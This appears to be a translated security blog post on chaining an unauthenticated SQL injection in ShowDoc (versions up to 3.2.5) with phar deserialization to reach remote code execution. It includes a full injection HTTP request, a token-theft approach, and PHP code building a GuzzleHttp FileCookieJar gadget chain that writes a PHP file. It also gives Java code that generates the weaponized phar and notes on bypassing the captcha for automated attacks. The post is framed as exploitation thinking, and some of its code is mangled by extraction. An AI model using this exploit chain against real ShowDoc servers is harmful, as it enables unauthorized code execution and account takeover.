in ,

Showdoc sqli to rce vulnerability exploitation thinking


Vulnerable version

sqli <=3.2.5

phar deserialization <= 3.2.4

Vulnerability Analysis

Frontend sqli

patch

https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda

Patch comparison found that in server/Application/Api/Controller/ItemController.class.php, the $item_id variable was changed from splicing to parameter binding. It can be inferred that SQL injection may exist at this point.

QQ screenshot 20240627161403.png

In the pwd method of server/Application/Api/Controller/ItemController.class.php, the item_id parameter is obtained from the request and spliced ​​into the where condition for execution without authentication, which can be judged as a front-end SQL injection.

QQ screenshot 20240627163011.png

However, before entering the SQL injection point, the captcha_id and captcha parameters will be obtained from the request. The parameter needs to pass in the verification code id and verification code for verification. Therefore, the verification code needs to be submitted once before each injection is triggered.

QQ screenshot 20240627163208.png

The logic of the verification code is to obtain the verification code that has not timed out from the Captcha table according to captcha_id for comparison. After verification, the verification code will be set to expired status.

QQ screenshot 20240627163238.png

Complete concatenated SQL statement

SELECT * FROM item WHERE ( item_id = '1' ) LIMIT 1

QQ screenshot 20240627163300.png

Both $password and $refer_url parameters are controllable. The value of password can be controlled through union query. When the condition is met, the value of $refer_url parameter is returned. 1') union select 1,2,3,4,5,6,7,8,9,0,11,12 –, 6 corresponds to the password field, so the password parameter passes 6, the condition is met, and the passed $refer_url parameter is echoed, then SQL injection exists.

QQ screenshot 20240627163543.png

POST /server/index.php?s=/Api/Item/pwd HTTP/1.1Host: 172.20.10.1Content-Length: 110Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://127.0.0.1/server/index.php?s=/Api/Item/pwdAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-site: same-originsec-fetch-mode: navigatesec-fetch-dest: documentcookie: PHPSESSID=1r419tk5dmut6vs4etuv656t1q; think_language=zh-CN; XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: close
captcha=8856&captcha_id=87&item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--&password=6&refer_url=aGVsbG8=

QQ screenshot 20240627163354.png

SQLI get token

Authentication is verified by calling the checkLogin method of server/Application/Api/Controller/BaseController.class.php.

QQ screenshot 20240627163427.png

When not logged in, the user_token parameter will be obtained from the request, and then the user_token will be queried in the UserToken table to verify whether it has timed out. The uid field of the non-timed out record will be queried in the User table, and finally the returned $login_user will be set to the Session.

Then you only need to inject the unexpired token in the UserToken table, and then you can access the backend interface through the token.

phar deserialization rce

patch

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

The patch changes the access permission of the new_is_writeable method from public to private.

QQ screenshot 20240627163453.png

In the new_is_writeable method of server/Application/Home/Controller/IndexController.class.php, is_dir is called and $file is controllable. Friends who are familiar with phar deserialization know that the is_dir function can trigger deserialization when the protocol is controllable.

QQ screenshot 20240627163525.png

With the point that triggers deserialization, we need to find a utilization chain. GuzzleHttp is used in the Thinkphp environment, and the __destruct method of GuzzleHttp\Cookie\FileCookieJar can save files.

QQ screenshot 20240627163543.png

There are already many analyses on the Internet, and here is the exp for generating phar.

cookies = array(new SetCookie());  }private $strictMode;}class FileCookieJar extends CookieJar  {    private $filename = "E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php";    private $storeSessionCookies = true;  }class SetCookie  {    private $data = array('Expires' => ');  }}namespace {  $phar = new Phar("phar.phar"); //后缀名必须为phar  $phar->startBuffering();  $phar->setStub("GIF89a"."); //设置stub  $o = new \GuzzleHttp\Cookie\FileCookieJar();  $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest  $phar->addFromString("test.txt", "test"); //添加要压缩的⽂件  //签名⾃动计算  $phar->stopBuffering();
}

When generating exp, the written path needs to specify an absolute path. The default path deployed in docker is /var/www/html. For others, you can get the absolute path by specifying a non-existent module error when accessing it.

QQ screenshot 20240627163631.png

For subsequent use, find a point for uploading and knowing the path, and change the generated phar file into png for uploading.

QQ screenshot 20240627163650.png

Access the returned link to obtain the path of the uploaded file.

QQ screenshot 20240627163713.png

Call the new_is_writeable method and access the file through phar:// to trigger deserialization.

QQ screenshot 20240627163731.png

Weaponized Exploitation Thinking

In the Java environment, when weaponizing the vulnerability, two points need to be considered. One is that when obtaining the token through sqli, the verification code needs to be identified. Currently, some masters have transplanted ddddocr online.

https://github.com/BreathofWild/ddddocr-java8

Another thing is that when using exp to generate a phar file, you need to specify the absolute path and content of the file to be written. I haven't found a way to directly generate a phar file in Java, so I can't dynamically generate a phar file and parse the phar document format. I need to implement a method to generate a phar file by specifying deserialized data in a Java environment.

Phar document format parsing

Generate a phar file through PHP, open it with 010 Editor, and parse the phar file through the official website document to understand the phar format.

https://www.php.net/manual/zh/phar.fileformat.ingredients.php

The phar document is divided into four parts: Stub, manifest, contents, signature

Stub

It is a PHP file, which is used to identify the file as a phar file. The content of the file must end with , which feels similar to the file header.

QQ screenshot 20240627163756.png

manifest

This part specifies some information in different intervals, including the deserialized data.

https://www.php.net/manual/zh/phar.fileformat.phar.php

1-4 (bytes) stores the length of the entire manifest. 01C7 is converted to decimal 455, which represents the length of the entire manifest, 455.

QQ screenshot 20240627163825.png

5-8 (bytes) The number of files in Phar is the same as the number of files in contents, there is one file.

QQ screenshot 20240627163849.png

9-10 stores the API version.

QQ screenshot 20240627163933.png

11-14 Global Phar bitmapped flags。

QQ screenshot 20240627163909.png

15-18 If there is an alias, then this interval stores the alias length. There is no alias here.

QQ screenshot 20240627164013.png

19-22 Metadata length 0191 converted to decimal 401 means the metadata length is 401.

QQ screenshot 20240627164033.png

22-? Metadata, the metadata stores the deserialized data.

QQ screenshot 20240627164100.png

contents

This part is optional and is specified in the second section of the manifest. It is not specified on the official website and will not be used when exploiting the vulnerability.

signature

actual signature

This part stores the signature content. The length of the signature varies depending on the signature method. The SHA1 signature is 20 bytes, the MD5 signature is 16 bytes, the SHA256 signature is 32 bytes, and the SHA512 signature is 64 bytes. The length of the OPENSSL signature depends on the size of the private key.

ignature flags (4 bytes)

This part identifies the signature algorithm. 0x0001 is used to define MD5 signature, 0x0002 is used to define SHA1 signature, 0x0003 is used to define SHA256 signature, 0x0004 is used to define SHA512 signature. 0x0010 is used to define OPENSSL signature.

GBMB (4 bytes)

Magic GBMB

The signature algorithm is 02, and the SHA1 signature is used.

QQ screenshot 20240627164140.png

The signature is 20 bytes long.

QQ screenshot 20240627164203.png

By parsing the entire phar file format, it is found that most fields are fixed. The fields that need to be changed are:

1. Manifest length

2. Metadata in manifest

3. Metadata length in manifest

4. signature flag signature algorithm

5. signature data

Generate phar file using java

The final construction is:

package org.example;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;import com.sun.org.apache.xml.internal.security.utils.Base64;
import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.IOException;import java.nio.ByteBuffer;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;

public class App {    public static void main( String() args ) throws IOException, Base64DecodingException {        final FileOutputStream fileOutputStream = new FileOutputStream("phar.phar");        final byte() decode = Base64.decode("TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZXMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzoiAEd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZQBkYXRhIjthOjE6e3M6NzoiRXhwaXJlcyI7czoxOToiPD9waHAgcGhwaW5mbygpOyA/PiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO30=");        final String s = new String(decode);        fileOutputStream.write(GeneratePharFilebyte(s, 2));        fileOutputStream.close();    }
    public static byte() GeneratePharFilebyte(String payload, int hashMode) {        // 添加 stub        String stubStr = "GIF89a;        byte() stubByte = stubStr.getBytes(StandardCharsets.UTF_8);        // 长度 14        byte() manifestMid = {(byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,  (byte) 0x11, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};        // 反序列化数据        byte() SerializationByte = payload.getBytes(StandardCharsets.UTF_8);
        // 文件数据        byte() fileByte = {(byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x2E, (byte) 0x74, (byte) 0x78, (byte) 0x74, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xF7, (byte) 0x02, (byte) 0x63, (byte) 0x66, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0C,(byte) 0x7E, (byte) 0x7F, (byte) 0xD8, (byte) 0xB6, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74};
        // Signature        // 2. 签名标志        ByteBuffer signaturebuffer = ByteBuffer.allocate(4);        signaturebuffer.putInt(hashMode);        byte() signatureFlag = signaturebuffer.array();        // GBMB        byte() gbgm = {(byte) 0x47, (byte) 0x42, (byte) 0x4D, (byte) 0x42};

        // 计算反序列化数据长度        ByteBuffer Seriabuffer = ByteBuffer.allocate(4);        Seriabuffer.putInt(SerializationByte.length);        byte() SeriaLength = Seriabuffer.array();
        // 计算总长度        int length = manifestMid.length + SerializationByte.length + fileByte.length;        ByteBuffer buffer = ByteBuffer.allocate(4);        buffer.putInt(length);        byte() manifestLength = buffer.array();

        try {            final ByteArrayOutputStream baos = new ByteArrayOutputStream();            // 添加 stub            baos.write(stubByte);
            // 添加manifest 总长度            reverseBytes(manifestLength);            baos.write(manifestLength);
            // 添加 manifestMid            baos.write(manifestMid);
            // 添加反序列化数据长度            reverseBytes(SeriaLength);            baos.write(SeriaLength);
            // 添加反序列化数据            baos.write(SerializationByte);
            // 添加文件            baos.write(fileByte);
            // 添加signature            // 计算 signature            if (hashMode == 1){ // md5                MessageDigest md5Digest = MessageDigest.getInstance("MD5");                byte() md5Bytes = md5Digest.digest(baos.toByteArray());                baos.write(md5Bytes);            } else if (hashMode == 2) { // sha1                MessageDigest sha1Digest = MessageDigest.getInstance("SHA-1");                sha1Digest.update(baos.toByteArray());                byte() hashBytes = sha1Digest.digest();                baos.write(hashBytes);            } else if (hashMode == 3) { // SHA256                MessageDigest sha256Digest = MessageDigest.getInstance("SHA-256");                sha256Digest.update(baos.toByteArray());                byte() hashBytes = sha256Digest.digest();                baos.write(hashBytes);            }else if (hashMode == 4) { // SHA512                MessageDigest sha512Digest = MessageDigest.getInstance("SHA-512");                sha512Digest.update(baos.toByteArray());                byte() hashBytes = sha512Digest.digest();                baos.write(hashBytes);            }

            // 添加签名标志            reverseBytes(signatureFlag);            baos.write(signatureFlag);
            // 添加            baos.write(gbgm);
            return baos.toByteArray();

        } catch (IOException e) {            throw new RuntimeException(e);        } catch (NoSuchAlgorithmException e) {            throw new RuntimeException(e);        }    }
    public static void reverseBytes(byte() bytes) {        int left = 0;        int right = bytes.length - 1;
        while (left < right) {            // 交换左右两端的元素            byte temp = bytes(left);            bytes(left) = bytes(right);            bytes(right) = temp;
            // 移动左右指针            left++;            right--;        }    }}

If reprinted, please indicate the original address

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

Bozhi Security provides security for the 17th National College Students Information Security Competition Innovation and Practice Ability Competition-Northeast China Regional Selection Competition

Threat actors actively exploit D-Link DIR-859 router flaw CVE-2024-0769